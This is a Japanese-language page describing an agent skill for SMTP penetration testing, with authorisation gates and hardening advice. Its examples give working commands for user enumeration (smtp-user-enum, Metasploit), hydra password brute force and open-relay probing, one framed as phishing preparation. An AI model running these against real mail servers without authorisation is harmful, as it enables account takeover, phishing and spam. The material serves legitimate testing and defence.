smtp-penetration-testing について
許可されたセキュリティ評価や管理下の学習環境向けの SMTP テストスキルです。メールサーバーの検査手順と防御策を扱い、能動的な操作の前に許可と範囲の確認を求めます。
主な機能
- 01SMTP サービス検出とバナー確認
- 02ユーザー列挙とオープンリレー評価
- 03メールサーバーのセキュリティ対策
- 04許可と範囲の事前確認
活用シーン
- 01所有するメールサーバー設定の評価
- 02管理下の環境での SMTP リスク確認
- 03メールサーバー強化策の検討
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill smtp-penetration-testingインストール後、Claude Code で/smtp-penetration-testingを入力して読み込まれたか確認します。
同梱ファイルreferences/detailed-guide.md
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可を得たセキュリティ評価のみに使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの悪用は違法であり、固く禁じられています。
必須の確認ゲート ターゲットを調査、悪用、変更、永続化、データ抽出する、または認証情報へのアクセスを試みるコマンドを実行する前に、次の手順を実施してください。
- ユーザーに、対象の正確な URL、IP、アカウント、またはリソースを明示するよう求めます。
- 書面による許可と許可された範囲を確認するようユーザーに求めます。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話内で明示的な確認が得られるまで待ちます。
その確認がない場合は、読み取り専用にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、一時的な VM、または管理されたラボを優先してください。
許可された用途のみ:このスキルは、許可を得たセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。
SMTP ペネトレーションテスト
詳細ガイド
このスキルを実行する前に、詳細ガイドをお読みください。完全な手順と参考資料が記載されています。安全要件、前提条件、検証要件は必須として扱ってください。特定の作業では関連するセクションを読み込み、最初から最後まで作業する場合はガイド全体をお読みください。
前提条件
必須ツール
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
必要な知識
- SMTP プロトコルの基礎
- メールアーキテクチャ(MTA、MDA、MUA)
- DNS と MX レコード
- ネットワークプロトコル
必要なアクセス
- 対象 SMTP サーバーの IP/ホスト名
- テストの書面による許可
- 列挙およびブルートフォース用のワードリスト
制約と制限事項
法的要件
- 所有する SMTP サーバー、またはテストの許可を得た SMTP サーバーのみをテストしてください
- スパムや悪意のあるメールを送信することは違法です
- すべてのテスト活動を記録してください
- 発見したオープンリレーを悪用しないでください
技術的な制限事項
- VRFY/EXPN は、最新のサーバーでは無効になっていることがよくあります
- レート制限により、列挙に時間がかかる場合があります
- 有効なユーザーと無効なユーザーに対して同じ応答を返すサーバーもあります
- グレイリストにより、列挙への応答が遅れる場合があります
倫理的な境界
- 発見したリレーを通じて実際のスパムを送信しないでください
- 悪意のある目的でメールアドレスを収集しないでください
- オープンリレーをサーバー管理者に報告してください
- 調査結果は、許可されたセキュリティ向上のみに使用してください
例
例 1:SMTP の包括的な評価
シナリオ: メールサーバーの完全なセキュリティ評価
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.invalid
# Step 2: Banner grab
nc mail.target.invalid 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.invalid
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.invalid
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.invalid
# Step 6: TLS check
openssl s_client -connect mail.target.invalid:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
例 2:ユーザー列挙攻撃
シナリオ: フィッシングの準備を目的とした有効なユーザーの列挙
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
例 3:オープンリレーの悪用
シナリオ: オープンリレーの脆弱性をテストし、記録する
# Test via Telnet
telnet mail.target.invalid 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# RCPT acceptance alone is inconclusive; verify authorized external relay and actual controlled delivery policy.
# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.invalid
# Output:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
セキュリティに関する推奨事項
管理者向け
- オープンリレーを無効化する - 外部への配送には認証を必須にします
- VRFY/EXPN を無効化する - ユーザー列挙を防止します
- 送信および認証を TLS で保護する - 意図しないメール損失を防ぐため、サーバー間の転送ポリシーは別途定義します(例:MTA-STS/DANE)
- SPF/DKIM/DMARC を導入する - アライメントと受信側での強制によりドメインのなりすましを軽減します。ただし、あらゆるなりすましを防ぐものではありません
- レート制限 - ブルートフォース攻撃を防止します
- アカウントロックアウト - 認証に失敗した後、アカウントをロックします
- バナーの強化 - サーバー情報の漏えいを最小限に抑えます
- ログの監視 - 不審なアクティビティに対してアラートを発します
- パッチ管理 - SMTP ソフトウェアを最新の状態に保ちます
- アクセス制御 - SMTP へのアクセスを許可された IP に制限します
使用する場面
このスキルは、概要に記載されたワークフローまたはアクションを実行する際に適用できます。
配信/中継/なりすましの例では、明示的に許可された送信者および受信者のテスト用メールボックスのみを使用してください。第三者への配信、従業員を欺く行為、パスワードスプレーは暗黙に許可されていません。レート、試行回数、ロックアウトの上限を合意し、ブロックされた場合は停止してください。手動で指定した Bcc/X-Injected ヘッダーはコマンド/ヘッダーインジェクションではありません。脆弱なアプリケーションにおける入力からヘッダーへの境界は、別途実証してください。STARTTLS の機能があることや s_client のハンドシェイクが完了したことだけでは、証明書のホスト名/信頼性やダウングレードポリシーは検証できません。SNI と検証を設定し、失敗を確認してください。DNS レコードが存在するだけでは、SPF/DKIM/DMARC の有効性は検証できません。認証データと取得したアドレスはマスキングしてください。